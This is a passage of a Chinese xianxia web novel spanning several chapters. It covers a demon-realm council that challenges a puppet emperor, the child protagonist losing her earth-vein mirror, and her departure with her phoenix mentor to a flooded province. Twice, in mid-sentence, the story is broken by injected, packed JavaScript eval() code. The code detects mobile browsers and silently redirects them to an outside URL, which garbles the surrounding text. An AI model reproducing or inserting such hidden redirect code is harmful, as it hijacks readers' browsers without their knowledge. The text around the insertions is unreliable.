为了将矛盾拉回可控范围,他也只能揣着明白装糊涂,明知故问道:“虫母,你们第五洲想讲什么?” 伊锦与惊轶对上视线,窸窸窣窣的虫族特有的笑音又荡开来,不等春在野回应,猝然发难道:“春在野,既然你说第四洲水患是内务,那我们第五洲的魔气呢?!” 三年前,魔尊黎狩突然发动入侵战争,撕开空间通道,率魔族降临妖界,大肆屠戮妖族百姓……他们降临的第一站,就是虫母,灰兔和赤狐共同统领的第五洲。 虽然问情妖皇以身化屏障将魔族暂时挡在妖界之外,但是魔尊在第五洲残留的魔气不散,已经侵入地脉,变成了妖界最大的污染源! 伊锦面色冷沉,提起第五洲现状面上再无笑意,语气哀痛,“第五洲作为魔族进入妖界的第一线,地脉被大面积污染,同时因为虫,兔两族强生育力的缘故,第五洲本就是妖界妖口最多的一个洲……现在由于魔气污染,第五洲新生儿畸形率居高不下——这件事,神庭不该负责吗?妖皇不该管吗?” “魔尊乃魔界位面之主,他释放的魔气也只有同等级的位面神族才可消解,这总不能算第五洲内务了吧,我可怜的春在野大人?” 喻未央先是抬眼扫过高台长帘背后的郁柏妖皇,见他没有丝毫反应,在心底微微叹了口气,站出来打圆场道:“伊锦,屠五月,第五洲一事是神庭失职,忽略了你们的苦处——刚刚春在野只是关心则乱,郁柏妖皇的实力绝对可以轻松化解魔族魔气的影响,净化地脉。” “关于如何处理第五洲被魔气污染的事情,惊轶,第五洲毕竟是你的家乡,你有什么想法吗?”喻未央思索片刻,将话头抛给了目前最为理智的惊轶。 惊轶垂眸,思索片刻斟酌着提议道:“魔气既然已经侵入地脉,布下阵法等寻常手段便已经不能再阻止魔气蔓延了,接下来,魔气会沿着地脉循环流向各地,我的建议是……在魔气流出第五洲之前,让妖皇出手,分离切割出被污染的土地和地脉,形成独立于妖界地脉循环而存在的神造岛,以遏制魔气蔓延并逐步化解。” 台下忽然传来一声轻咳,一道文静优雅的女声轻轻响起,“惊轶大人,你这主意确实很好的考虑了妖界整体,但也确实没顾我们第六洲的死活啊。” 第六洲领主,雪域圣女,雪豹族长令群山满含歉意的冲虫母和屠五月笑笑,语气温婉,指出的问题却相当尖锐,一阵见血—— “五六两洲之间虽然有漫长而绵延的交界线,地脉交互频繁,但由于第六洲主体为豆绿高原,地势远高于五洲,被污染的地脉一时半刻是进不来的,对我们的影响暂时可控……” “但神庭若要直接分割地脉凭空造岛,那第六洲受到的影响便不可估量了——地脉震荡,地脉断裂都是显而易见的可怕灾难——你们神庭连第四洲水患都抽不出人手,又能投入多少经历给大地震的第六洲救人救灾和灾后重建?” 令群山气质冷冽,脊背笔挺,语气更是寒的彻骨:“荒谬至极,我以雪域圣女之名代表六洲拒绝这项计划,除非神庭有能力保证第六洲所有妖族安全无虞。” “神庭要是有能力,我们也不用在这里吵架了……”黄金蟒一族的族长金戈压低了声音跟旁边的武不为吐槽道,“惊轶还是厉害,能将一个只利好自己家的计划说的这么大义凛然。” 喻未央头痛的蹙眉瞪他一眼,警告道:“金戈,慎言。” “哎呦真是吓死妖了,”金戈吊儿郎当的一摊手,“喻未央大人,我得提醒您,我们黄金蟒和鲛人族的二洲只跟五洲隔了半个海域,妖皇尊上若是切割造岛,产生的灵气海啸正好会荡过你们鲛人族的产卵地——你要上岸来跟我们一起育雏吗?我让族人给你们提前留位置哦。” “装什么,你们黄金蟒雄性什么时候参与育雏了,育雏还得看我们雌性吧。”第七洲的象族女王和屠五月同时翻了个白眼怼到,旁边的刀脊鲨族和蛇族仿佛膝盖中箭,心照不宣的默契抬头望天。 “……你们神庭真的让我非常失望。”令群山叹息一声,这位雪域圣女有银白的发,漆黑的眼,像高原洁白覆盖的雪与嶙峋裸露的岩石。 她将话题拽回了述职月本身,“我本以为,只要熬到圣坛胚胎降生,妖界的一切便可回归正轨,我今日前来,本是想请求妖皇出手搭建超长跨距的传送阵,直接横跨浮汀海,连通第六洲和青丘妖都所在的第九洲,让豆绿高原新生的幼崽们有机会来妖都读书的。” 幼崽即是未来,提到幼崽,原本乱作一团的众领主们再次陷入静默。 武不为左看看又看看,完全是看热闹不嫌事大,笑盈盈扫过众领主,拍拍手将众人注意力引到了她身上。 春在野眼皮一跳,知道这最大的刺头要开始找事了,心里暗道一声不好。 “家人们,”武不为开了个深情款款的头,收获无数白眼也不恼,笑嘻嘻的继续 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“惊轶,你们神庭这三年究竟在闭门研究什么!” “我等面前的,究竟是问情一样的妖界新皇,还是供你们神庭欺瞒百姓,巩固地位的傀儡?!” 众领主忽然在政庭和神庭两拨人震撼的目光里整齐起身,俯身行礼道:“还请妖皇尊上放出真身,神座和权柄,验明正身!” 哇哦,有备而来。 琉歌在心底默默鼓掌,原来当年领主们还准备了这样一场好戏啊,她当时也没注意,只顾着当场将春在野千刀万剐以解心头之恨了,后来再看台下领主,对他们的第一印象是都挺乖的。 台上,惊喻春三人对视一眼,喻未央嘴唇嗫嚅想说些什么,最终还是默默垂首,一言不发的默许了神庭接下来的举动。 看到这里,琉歌心里也有了数——看来神庭也早有准备,对这个情况早有预料了。 春在野单膝跪在长帘外低声和郁柏说了些什么,郁柏任由他们安排,起身,主动掀开长帘,空洞而漠然的眼神扫视一圈,下一瞬,在领主神色各异的目光里,一只巨大而漆黑的九尾玄狐虚影赫然出现在高台之上! “妖皇真身……”有人终于松了口气似的低声喃喃,“太好了,妖皇真身……妖皇真的回到妖界了……” “跟我来吧,我将在圣坛展示权柄和神座。” 九尾玄狐说罢踏风而起,众领主紧随其后来到圣坛,琉歌拽拽身边人的衣摆,随即两手一伸,弥随音便了然的将她抱到臂弯里,带着她随大流向圣坛而去。 圣坛上,九尾玄狐遮天蔽日的身影盘踞其上,只听他低声沉吟着古老而繁复的咒语,随着他的呼唤,无数雪白光点自地底冒出,在空中飞舞着,缓缓凝聚出一座神座虚影—— “疯子吗?他们还敢抽调地脉中枢的能量满足私欲?”若说地脉是血管,那圣坛底下的中枢就是妖界的心脏,将灵气泵到妖界各处,如果心脏灵气不足,那妖界就会面临不可逆的地脉损伤! 到时就不是灵气浓度下降这么简单的事情了! 琉歌狠狠蹙眉,右手悄然握拳,其手背上,坤元堪舆镜有微光闪过,“堪舆镜,关闭地脉中枢,立刻停止能量外溢。”她在心底下令道。 无数只有她可见的细线涌出,迅速与地脉中枢形成连接,正在琉歌要关闭中枢的前一刻,一股大力骤然传来,将她吸向地脉! “琉歌!”好在弥随音眼疾手快一把按住了她,这才没让她在众目睽睽之下飞向圣坛,但她手背之上的坤元堪舆镜却猛地一颤,猝然从她的体内被抽出,化为流光射向地脉! 8. 准备,出发第四洲 就在坤元堪舆镜化为流光投入地脉的下一秒,天地间突然华光大盛! 圣洁的五色神光从天而降,将原本黯淡的圣坛照的金灿透亮,无数仙鸟啼鸣着顺光柱盘旋而上,神光伴着金羽纷纷扬扬地飘落,如同一场圣洁的金雪。 神光笼罩住盘踞圣坛之上的轩辕郁柏,悠远古老的钟鸣再次响起,伴随着响彻天地的钟鸣,一座恢宏而庞大的神座以虚影形式出现圣坛之上。 “……”琉歌简直要气笑了,妖皇神座和妖皇权柄都在她身上,她本想凑上来瞧个热闹,看看神庭准备用什么手段无中生有,让只有妖皇真身的郁柏摇身一变,成为完全体妖皇的。 真是倒霉,最后竟然是她帮郁柏做了嫁衣。 “师尊,我们得赶紧走了,回客栈,我想好了接下来怎么去第四洲。”琉歌坐在弥随音臂弯里,越过他的肩膀,最后看了一眼光耀灼灼的圣坛和圣坛上庞大神座,转身离开。 刚才坤元堪舆镜那么明显一道流光射向圣坛,这里又聚集的是妖界最顶尖的那一批强者,虽然可能没法精准定位到她身上,但继续留在这里,被找出来也只是时间问题。 神光渐渐散去,天地重归清明。 琉歌不知道的是,就在她和弥随音悄然隐去身形的下一刻,圣坛上的九尾玄狐忽然侧目,眼珠一错不错的注视着她离开的方向,安静的目送她消失在了自己的视野里。 “姐姐……你真的很没耐心,也真的很不了解我……” 被推到台前的神子在心底喃喃,忽然像是想到了什么,阴沉漠然的面色稍霁,与琉歌一模一样的五官抽动片刻,僵硬而生疏的摆出了个和她极像的笑容:“但没关系,我有了解你的途径,这就够了。” 他自顾自笑了片刻,这才想起还有个弥随音是跟琉歌一起的,这让他眼神又阴郁了下去,蹙眉对身边的惊轶传音道:“你之前说收集了凤凰仙君的信息,给我。” 春在野修为只有元婴,是妖界三长老里修为最低的,他只看到了流光却没能定位到琉歌,惊喻二人却都对那能和地脉共鸣的流光的来历心知肚明,两人对视一眼,惊轶随即恭敬俯身,“是,妖皇尊上。” “妖皇尊上——”台下,领主们再也无话可说,紧随惊轶之后跟他一起俯身行礼,承认了郁柏妖界第二任妖皇的身份。 客栈里,琉歌坐在床沿上,小短腿一晃一晃的,满脸堆笑仰头望弥随音,尾调拖的老长,语气讨好:“师尊……别生我气好不好,我不是故意瞒着你的……” “我没生气,”弥随音在桌前座下,心平气和的提起滚烫的茶壶给自己倒杯茶,就着蒸腾的雾气一饮而尽——反正凤凰是火鸟,不在乎这点温度。 他将茶杯往桌上一磕,“还有,别叫我师尊,我可没教过你连接和操控地脉。” 这还说自己没生气呢? 这可不行,琉歌想,自己接下来还得靠凤凰仙君的力量上仙界杀仙尊呢。 ——还是得哄一下,不然之后的计划不好推进了。 琉歌眼珠骨碌碌一转,干脆跳下床沿,拽了拽弥随音的衣摆,墨紫色的大眼睛湿漉漉的,显得惶恐又可怜:“那如果凤凰仙君现在问什么我都如实回答,仙君还愿意继续当我师尊么——神庭抛弃了我,师尊也要抛弃我吗?” 弥随音这种吃软又吃硬的人其实很好哄,只要集中一点突破他的防线,撬出他的同情心就行了,接下来他甚至会帮你合理化你的行为。 “……那好,你操控地脉的能力是何时得到的?为何之前不告诉我?” “若你有地脉的力量,在融合仪式的时候为何不用?”弥随音本不想理会,但轩辕琉歌已经迈着小短腿费力的爬上了凳子,站在凳子上一脸紧张严肃的望着他,摆出了好好谈谈的架势了。 今日坤元堪舆镜脱离琉歌的一瞬间,他看到了漫天红线自镜中发出,与圣坛之下的地脉中枢紧密相连。 那些红线弥随音化成灰都不会认错,那就是上一世暴君琉歌最擅长的攻击手段,也是将他一线封喉的最后一招。 “原来那镜子还可以操纵地脉吗?”琉歌茫然的眨眨眼睛,“师尊带我逃离圣坛的那一天,我从透过云间看到了妖界壮阔的山峦河海,只觉得自己从前囿于帝宫,只知手足相残真是浅薄,是在浪费生命——就是那时,那枚镜子才忽然出现在我的手背的。” “师尊后来昏迷,也是靠着那枚镜子的帮助,我才找到了藏在熔金山脉里的地枢,给您搭建了养伤的小木屋。” 见弥随音在听,琉歌眼睛一眨,语气忽然沉了下去,哀叹一般沉沉叹息道:“妖族被人族奴役上万年,自古便被排斥在主流修仙群体之外,很多人族代代流传的常识,到了妖族这里,都是需要从头摸索的陌生领域——就像关于神族的知识。” “我们知道其余几界一定掌握了更多神族的信息,但谁会愿意跟妖族分享这些宝贵的经验积累呢?妖族只能自己摸索,但问情尊上在位不过20年,很多事情都来不及让我们搞懂……妖族目前所知,也不过就是权柄,神座和信仰这最基本的神族三要素罢了。” “我不知那是什么,因为神庭从没说过妖皇还有影响地脉的能力,我只以为是自己的特殊能力。” 她怯怯的抬眼去瞅弥随音的脸色,“师尊,我没有故意要瞒着里,离开了熔金山脉进入青丘之后,这镜子便再也召唤不出来了,直到刚刚圣坛上它突然出现,还是为了脱离我的控制融入地脉。” 小幼崽语气都要哽咽了,低着头,忐忑紧张到不敢看弥随音的眼睛:“师尊,您早晨在这里说——不必因为他人压抑或改变自己的性格,只要不违律法和伦常,我干什么您都会陪我,现在还作数吗?” 弥随音掌心沁出冷汗,他心底有个声音不断提醒他:你该立刻走,这和前世暴君一样的红线就是警示,警告你面前之人就是前世那个最终杀了你的人! 不,我眼前之人不是暴君,弥随音骨节分明的手指紧握着茶杯,指尖用力到发白。 我眼前之人是一张需要我的保护,才不会被这扭曲且高压的妖界染上异色的白纸,我要将她引向正轨,我要找到能让历史和琉歌共存的缝隙。 而且……他闭了闭眼,而且,他真的很需要有人陪在他身边,和他交流,甚至是帮他做决定了。 琉歌无论前世还是今生都是太完美的对象——尤其是今生,需要他的保护,又很有自己的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310221|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,永远有主意和方向,知晓下一步怎么走,他只需要安静的执行,配合琉歌的计划,再不用整天整夜的思考如何度过这一天。 爱和思考都是太累太累的东西,他已经永失所爱,暂时还不想放弃思考——琉歌的计划和指令永远是清晰且高效的,目前对弥随音来说,呆在琉歌身边就是他的舒适区。 寿数绵延甚至可以涅槃重生,自诞生起便与天地同寿的神兽凤凰居然会困在漫长的寿命里难以解脱,真是可笑。 弥随音唾弃着自己的软弱,但他也很清楚,在琉歌愿意向他解释的那一刻,自己已经原谅了一切隐瞒。 “你今天也看到了,郁柏只是在台上稍微沉默,就被领主们联手要求自证身份,”凤凰仙君叹息,“我若是真的成为了你的师尊,你想过你重回妖皇之位时会受到多少刁难吗?” “……师尊,他们只是领主而已啊。”琉歌歪头,表情是纯然的疑惑,似乎不懂弥随音为何总是考虑那些人的想法:“我才是妖皇——胆敢非议我者,有一个就拔了舌头,有两个就剥皮剔骨,有一群就杀一群,赞成者大力嘉奖,反对者则直接降下神罚施以惩戒……” “师尊,他人的口舌是你最不需要考虑的东西。”琉歌神情淡淡,骨子里的那股难掩的狠厉和强势通过幼崽的皮透出,诡谲又矛盾,令弥随音下意识屏住呼吸。 琉歌看出了弥随音的紧张,眼皮一眨,那股威压顿时消失的无影无踪,嘴角可怜兮兮向下一撇,又将话题拖回正轨,“我说错话了吗,师尊?我以后再也不瞒你了,你教我修炼吧,好不好?” 等白水边回到客栈,带着颂颂轻轻敲门进入后,就看到琉歌正盘腿打坐,弥随音在旁边偶尔出声指导。 “随心大人,琉歌大人。”白水边带着颂颂一行礼,“你们吩咐的事情,我已经处理好了。” 琉歌睁眼,见他神色轻松,知道事情办的很顺利,于是一点头,“苍狼族那边没理由不同意。” “是的,苍狼族求助神庭无果,本以为此次妖都之行要无功而返了,听到我说政庭躬行司愿意排出随心大人这样的出窍期强者帮助第四洲救灾,欣喜若狂,当即便答应了带着两位大人一起回第四洲。” 弥随音笑笑,示意琉歌起身可以收拾东西出发了,“很好,第四洲水患滔天形式严峻,我们立刻收拾东西去与苍狼族会和。” 就在这时,颂颂忽然自白水边身后一步踏出,冲琉歌行礼道:“颂颂希望追随两位大人游历四方增长见识,请两位大人带我一起上路!” “在下虽不善战斗,但在妖皇帝宫也学了不少东西,两位大人马上要前往人生地不熟的第四洲,带我在身边,起码能在琐事上少操很多心。” 且不说那天听完白水边的分析后,颂颂自己也萌生了继续跟着神女的念头,就算自己没有意愿,颂颂也不觉得知道了琉歌真实身份的自己还能好好留在药铺里做个学徒。 这乱世之中,有时候知道的越少越是安全。 真是聪明孩子,琉歌与她视线在空中相交,顿时满意的笑了——不愧是她在帝宫里就看上的好苗子。 “那么都去收拾一下,准备去苍狼族所在的传送阵附近吧。” 9. 过去,问情,未来 “颂颂……你当真要跟两位大人前往第四洲吗?”琉歌随音两人离开后,白水边将颂颂拉到一旁,压低声音再次确认道:“你才刚刚迈入成年期,现在不过筑基巅峰的修为,立刻就开始历练是否过于……” “父亲,你知道的,我的亲生母亲是被问情妖皇救出的人族试验品,我是妖兽混血,至今不能完整化为人形。”颂颂深吸一口气,既是在劝养父,也是在宽慰自己。 那段历史不可谓不惨痛,人族召唤师逐渐发现,拥有较高智商和绵延寿数的妖族,一但被打上奴隶契约成为人族的契约兽,带来的战力提升远强于直接契约兽族。 以奴隶契约的发明为分割点,人族开始大肆抓捕妖族,到了人本历末年,斗兽场,繁育笼舍,奴隶市场……几乎泛滥成灾,犹以当时的人界皇城丰都为盛,丰都伴着妖族的惨叫与哀嚎步入一个个纸醉灯谜的夜晚。 ——丰都人笑声飘过的地方,就有妖族的冤魂和鲜血流淌。 更糟糕的是,身为当权者的人皇从没有想过制止这种情况。 那时,人皇铭榕刚刚封印,斩杀了所有滞留人间作威作福的仙魔,踏上人皇之位,将人界彻底还给了人族。这位强悍的人皇以碾压姿态战胜了仙尊和魔尊,将一直被默认为仙魔两界的血包的人界,带到了四界之首的位置,自此仙魔再也不敢插手人间事务。 从此,无论是仙还是魔,都要尊称人界一句——四界基石。 祂甚至让天道都为之让步,将“事在人为”四个字刻进了天上地下所有生灵心里。 与蓬勃发展相对的是,人族的傲慢和自大在也此时达到了巅峰——在他们眼里,妖族和兽族又有什么区别呢? 反正都不是人族。 非我族类,皆可奴役。 妖族是得天道与自然钟爱的种族,天生就有灵根,就算从生到死毫不修炼,也有近一千年的寿命。而奴隶契约最恶毒的一条就是——若奴隶修为高于契约主,那么契约会直接平均两人的修为。 也就是说,若是能淘到一强大妖族签订奴隶契约,从此便可保证家族后面每一代,都至少能出一个“天才”! 荫庇子孙的事情总是令人趋之若鹜。 那时的丰都还有人专门繁育并出售妖族幼崽,驯化幼崽成为讨好主人的工具,甚至有人丧心病狂,为了看到更怪异,更强悍,更听话的妖族,强行往他们体内注入别的物种的血,改造妖族送往一个个地下黑市。 踩在妖族的骨血上,人族迎来了发展最迅速的三千年。 那三千年,百年结婴的天才不胜枚举,御兽师成了烂大街的职业,只要有钱,那个富家公子哥的手里不牵着四五只妖仆?各个都有绝对忠心的主仆契约或奴隶契约。 什么十年筑基,甲子成丹,早都不够新奇了,都不足以入茶馆说书人的口舌。 ——直到初代妖皇,妖祖轩辕问情降生。 她和人皇同样生于人界地脉,被人皇视为血脉相连的妹妹,实力超群,好战善战,和人皇共同接受了人界地脉的力量,拥有了神族真身。 可以说除了权柄缺失,问情那时和真正的人皇也没什么区别了。 人皇铭榕很宠爱这个唯一的妹妹,祂们感情甚笃……若无意外,问情很快就会成为人皇的第二位神使,共享权柄,力量和职能,但问情度过漫长的幼年期和成长期后,决定下山,亲身前往人界历练一番。 没有人说得清问情究竟在人界看到了什么,她历练期间曾三次从人界返回苍梧山和人皇沟通,皆无果。 等问情再次出现在人们视野里时,她解救了很多妖族,形成了一个属于妖族的不小的势力。 在人皇的目光下,在妖族搭建的,简陋古拙的圣坛上,轩辕问情敬告天道,接受赤狐一脉献上的九尾真身形态,与兄长——人皇铭榕割袍断义,恩断义绝。 令所有人始料未及的是,天道当真承认了妖皇的存在,当场降下神座和权柄,补齐了问情所缺失的神族要素。 人本历末年,妖祖问情在人界正位,得空间权柄成为初代妖皇,拉开了漫漫400年人妖大战的序幕。 天下妖族尽西迁,在问情的带领下,千万妖族的怒火踏平了以丰都为首的七座罪孽最深的城池,彻底让人族为自己的傲慢与奴役付出了代价! 最后的最后,妖祖问情剥离空间权柄嵌入人界地脉,从此人妖两族七三分土地,妖界成为第五个独立位面而存在。 妖族虽然走向独立,但人族带来的伤痛却绵长而难以愈合。 比起雄性,大多雌性受到的伤害更是刻骨——很多从繁育笼和深宅大院中被救出的妖族雌性都已经诞下难以割舍的,血脉相连的存在。 颂颂的亲生母亲就是其中之一。 人族一直希望削弱妖族的自由意志只保留一点基础智力,那样更好控制,因此会拿妖族和兽族配种,但妖兽之间只是形似罢了,其中差异之大比人族和猴子还要夸张。 于是九成的试验胎儿都难逃胎死腹中的命运,就算生下来也是智力缺陷的畸形混血儿,活不过一年。 只有极少数母体血脉极其强悍的存在,可以用自己的血和灵气一点点削弱父系兽血的影响,诞生下智力正常的妖族幼崽。 但这种幼崽就算顺利长大了,化形时失败的几率也极大,会有难以消弭的妖族特征显现在人形上,而且一旦妖族特征的比例过大,就会直接导致血脉混乱,在成长期的灵气潮涌里血脉崩溃,爆体身亡。 因此,虽然表面上妖族政庭对所有幼崽平等的提供帮助,却私下形容这种幼崽为活着的死胎,行走的负累。 颂颂的母亲被问情所救之后毫不犹豫的放弃了颂颂,强悍的血脉让她的实力进步飞快,于是紧随着问情妖皇的脚步拿起武器,与人族悍然开战,开疆拓土,拯救更多的同族去了。 颂颂被现在的养父母收养,懵懵懂懂的长到了化形的年岁,竟然奇迹般的没有死于血脉反噬,就想进宫看看自己的亲生母亲是什么样的,没想到她刚进宫就得到消息,问情尊上陨落,第五洲最前线所有将领皆阵亡,无一幸免——其中就有颂颂生母。 她更没想到的是,自己一个化形都半失败的底层妖族,竟然会被分配去照顾刚诞生的神女尊上。 “父亲,您知道的,兽族与我们的修炼方式完全冲突——兽族聚灵气于皮肉骨血,以强悍的身体提升实力。妖族则先学化形,再聚灵气于妖丹,通过不断打磨妖丹凝练灵气走上仙途。”颂颂抿唇摸了摸自己垂在肩头的兔耳,语气沉静而坚定。 “因为父系兽血的影响,我明明天赋极强,凝聚出的妖丹质量却非常差,我甚至不敢打磨它,生怕牵动血脉深处的兽血导致血脉反噬,爆体而亡……父亲,兽血是我必须跨过去的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310222|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道坎,我在为自己博一线生机。” 白水边怔愣良久,终于后退一步,有些欣慰,又有些哀愁的叹息道:“其实你的养母,颂吟,也是人族繁育笼的受害者。她现在独自跑到熔金山脚下经营客栈,正是因为那时的伤害,导致她现在很抗拒和人相处,也不愿融入社会。” “兔族是妖族中少有的强生育力的代表,她诞生就在繁育笼中,同胎兄弟直接催熟送上斗兽场或其他地方,姐妹就留下继续繁育,绵延人族的财富……” “她在那里伤及根本,这辈子应该再难有子嗣了。”白水边从袖子里掏出一满满的储物袋塞进颂颂掌心,“我们领养你后,本想着你因为兽血拖累,这辈子修为应该不会很强了,但你很有炼药的天赋,以后可以去躬行司之下的炼药师公会,这样我也可以帮你一二。” “现在既然你要去挣你的前途,身为父亲,自然要鼎力助你,”泽云鹿族有一双雾蒙蒙的青色眼瞳,像他的故乡,永远云雾缭绕的泽云川,“但颂颂啊……琉歌和随心两位大人真的可信吗?你在帝宫可曾与他们有过交集?” 颂颂不敢说琉歌的身份,于是只好换了个方向宽慰父亲道:“可信的,我们在神庭里交集颇深,而且,两位大人也有需要我的地方,放心吧……父亲。” 目送颂颂三步并作两步蹦下楼,追着琉歌随音两人远去,白水边忍不住皱眉细想颂颂的话——在神庭和她有颇多交集的,位高权重的大人,还知道颂颂擅长什么,为此特意来了药铺一趟…… 想到颂颂说过,是听了他的分析才下定决心跟着两位大人的,一个名字忽然在白水边脑子里闪过! 泽云鹿族头皮一炸,下意识掐住了掌心——不会吧?那幼崽模样的小雌君不会是…… 青丘帝都郊外,传送阵旁的小镇里,琉歌一脸乖巧的坐在一旁,听着苍狼族年轻的族长向两人介绍第四洲现况。 “……您看,第四洲位于妖界最南部,作为第九洲和第八洲的延伸突入浮汀海,这也导致我们北接围海,南连浮汀,西靠鲛人梦,东边又和第八洲一样与悬光海有漫长的海岸线……” “我知晓,第四洲是唯一一个与妖界四海均有接触的大洲。”弥随音指尖在地图上划过,在决定前往第四洲时,他便详细了解过第四洲的地形和方位,“现在情况怎么样了?” 藏纵夏眉头拧的死紧,虽然尽力压抑,语气还是不可避免的带着焦躁:“非常糟糕……一到夏季,第四洲的降雨量就变得极为恐怖,从东到西虽然有逐云,太华和缚雾三条山峦,但均是倾斜的东西走向,能拦住鲛人梦的水汽,拦不住浮汀海的雷云。” “历年控水最重要的,就是不能让东边悬光海的积雨云翻过逐云山脉和浮汀雷云相撞,否则整个逐云山系将变成天上银河,洪水从逐云顶峰一路向下冲刷,沿途还不断有倾盆大雨扩大其声势——” 苍狼少年族长紧咬着牙,指甲在桌上无意识的划出长长刻痕:“现在情况就是,东北流速快,东南水量大,整个第四洲东部都已经待不了人了,但偏偏我们第四洲的洲府——绣骨,就在东北部。” “绣骨内有多少幼崽?” 一直状似神游的琉歌突然指尖轻敲桌面,将藏纵夏的目光引到自己身上后,发问道:“绣骨作为洲府,第四洲的核心和最大的幼崽的聚集地,绣骨政庭是怎么处理受到洪水威胁的幼崽们的?” 10. 双生神明的你与我 “什么?这……据我所知,绣骨位于太华和逐云之间的平原上,在积雨云翻过逐云山脉的一瞬间,绣骨政庭的负责人,逐云虎族族长,风弄堂,就将所有幼崽送上西边的太华山脉了,由来去迅速的隼族统一照顾。” 藏纵夏本还在想这幼崽谁啊,怎么这样随意插话,她身边的随心大人也不管,结果对上那双墨紫色眼睛的一瞬间,顿时什么质疑都想不起来了,再回神时,他已经老老实实的回答完了问题。 “这是我的徒弟琉歌,”弥随音没有制止琉歌的问询,只是帮她找补了一句,“她将跟我们一起前往第四洲,负责整理收集一切可用的信息传回青丘。” 言下之意已经很明显了,藏纵夏知晓,随心大人这是在提醒他,这位小雌君不是他的附庸,而是和他同等地位的,直接受命于政庭的大人物。 “藏纵夏,”琉歌站在凳子上,右手持笔在地图上勾勒着什么,左手撑在桌沿,听到他的回答后抬起眼,配合着前倾的上半身,区区一幼崽,居然显得气场迫人。 她将笔轻轻点在地图上绣骨所在的位置上,笔尖规律的轻敲,却让藏纵夏惊恐的觉得像是一柄重锤在锤击他的心脏。 银发的幼崽瞳色深浓,语气却浅淡,“你最好想好了再回答,若再这样避重就轻回避问题,我就禀告政庭,说第四洲不需要任何帮助。” “若真如你所说,幼崽都在太华山上,那你们第四洲还急什么?你冒着得罪整个神庭的风险要求妖皇出手,就为了那些早得到了良好照顾的幼崽么?” “藏纵夏,你最好记住,整个第四洲的前途与命运,现在全系在你一张嘴上了。”琉歌缓缓站直,她对面,藏纵夏交握在胸前的手抖的厉害,整个人偏着头,视线落于右下角,因恐惧而回避与琉歌对视。 他虽然诞生于战乱年间,但一直被苍狼族长辈们好好保护着,上头又有一位一直被当做继承人培养的长姐,因此可以说幼时顺遂,少遇坎坷。 若不是母亲藏花骨死于魔尊入侵之战后,长姐毅然选择继承母志加入神庭,成为对抗魔族,保卫妖界百姓的第一道防线,那这个苍狼族长也轮不到他来当。 第一次代表第四洲出任务就遇上妖皇诘问,不知他是幸运还是不幸。 “妖族幼崽……妖族幼崽诞生的途径有三——”藏纵夏到底是聪明的,知晓若第四洲还想要神庭政庭的帮助,就不能再隐瞒了,他斟酌着组织语言:“分别是灵化幼崽,血裔幼崽和最为稀少特殊的情化幼崽。” “其中,作为妖和妖相爱后经母体孕育而诞下的血裔幼崽是最好管理的,因为父母会照顾他们,在第四洲政庭发出预警的时候,九成血裔幼崽都被安全送上了太华山。” 弥随音终于懂刚才琉歌因何而愤怒了,他蹙眉道:“所以你口中反应迅速的绣骨政庭,其实只照顾好了并不缺照顾的血裔幼崽——但妖界诞生的幼崽中,血裔幼崽只占了三成啊,占了剩下七成的灵化幼崽呢?” “大人,灵化幼崽是天地灵气孕育的精华,只在灵气浓郁纯粹处自然诞生,他们的诞生地完全随机,诡谲而不可捉摸,目前所知有较大可能性诞生灵化幼崽的地方,就是地脉和地脉的交汇处——地枢。”苍狼少主紧张的摩挲着手掌,急切的试图向两人证明第四洲已经尽力。 “所有人都清楚,灵化幼崽最需要照顾,但如何找到灵化幼崽呢?不只是第四洲,就算是高手云集的青丘,想找到灵化幼崽也只能用最老土的办法——巡逻和不断的灵气探查。” “……灵化幼崽行踪渺茫,而虎族和隼族又不像我们狼族一样群聚而居,他们的分散更是增加了寻找幼崽的难度……因此,整个第四洲目前乱做一团。”藏纵夏被琉歌一吓之后不敢隐瞒,一口气交代了个彻底。 他惴惴不安,悄悄抬眼去瞟琉歌的神色,“因此第四洲才想求妖皇尊上出手,直接以神魂召唤所以妖族,让我们知晓需要帮助的妖在哪里,也让那些深陷危险的幼崽知晓向哪里求生。” “妖皇妖皇,妖皇已经离去三年了,难道没有妖皇的时候,你们就什么都做不了吗?” 一瞬间,琉歌有些茫然,不知道自己的怒气从何而来,她望着对面藏纵夏年轻的面庞,忽然幻视不久的上一世——魔尊撕裂屏障,踏碎前线层层防线再次降临妖界,无数年轻的妖族跪在帝宫正殿前,请她下令,决定妖界的未来——战还是降。 那是她坐上妖皇之位后第一次感到迷茫,第一次那么想知道那些跪在殿外阶下的妖族都在想什么,于是她问了,但所有妖都只是低埋着头,恭顺的答着她已经听腻的套话:“妖族会践行妖皇的意志,万死不辞。” 琉歌于是随机抓了一百人上来,直接剖开识海看了他们的记忆和真实想法,发现大部分妖和她想法一样,是支持抗争到底的,于是很欣慰,带着剩下的妖族与仙魔大军死战到了最后一刻。 甚至是后来,她下定决心联合盟友制定回溯时间的计划,也是受了这次万妖跪皇的影响。 “琉歌……”弥随音立刻一握她的手,拍了拍她的背,以识海传音安慰道:“这里不是神庭,你也不是妖皇,不必勉强自己,还有我在这里呢。” 凤凰仙君安抚性的冲藏纵夏摆摆手,示意他没有大事,随即轻咳两声,再次将所有人的视线引回地图,“好了,目前情况已经明了,事态紧急,那么就赶紧规划一下路线,准备进入第四洲吧。” 